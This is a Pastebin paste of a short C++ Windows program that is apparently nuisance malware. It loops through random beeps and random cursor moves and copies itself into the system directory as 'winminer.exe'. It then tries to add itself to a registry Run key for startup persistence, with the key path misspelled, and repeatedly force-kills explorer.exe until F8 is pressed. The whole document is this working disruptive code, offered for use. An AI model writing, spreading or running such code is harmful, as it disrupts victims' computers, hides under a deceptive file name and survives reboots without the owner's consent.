kellex

RIV.CPP

Sep 9th, 2013
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.99 KB | None | 0 0
  1. #include <iostream>
  2. #include <stdio.h>
  3. #include <windows.h>
  4. #include <winable.h>
  5. #include <conio.h>
  6. #include <ctime>
  7.  
  8. using namespace std;
  9.  
  10. int Freq, Dur;
  11.  
  12. void Beeper(){
  13. Freq = rand()%2001;
  14. Dur = rand()%301;
  15. Beep( Freq, Dur );
  16. }
  17.  
  18. int X, Y;
  19.  
  20. void mouse(){
  21. X = rand()%10;
  22. Y = rand()%10;
  23. SetCursorPos( X, Y );
  24. }
  25.  
  26. void SetUp()
  27. {
  28. char system[MAX_PATH];
  29. char pathtofile[MAX_PATH];
  30. HMODULE GetModH = GetModuleHandle(NULL);
  31. GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
  32. GetSystemDirectory(system,sizeof(system));
  33. strcat(system,"\\winminer.exe");
  34. CopyFile(pathtofile,system,false);
  35.  
  36. HKEY hKey;
  37. RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
  38. RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
  39. RegCloseKey(hKey);
  40. }
  41.  
  42. void Run(){
  43. Beeper();
  44. mouse();
  45. SetUp();
  46. system("taskkill /im explorer.exe -f");
  47. }
  48.  
  49. int main(){
  50.  
  51. while(!GetAsyncKeyState(VK_F8)){
  52. Run();
  53. }
  54.  
  55. return 0;
  56. }
Advertisement
Add Comment
Please, Sign In to add comment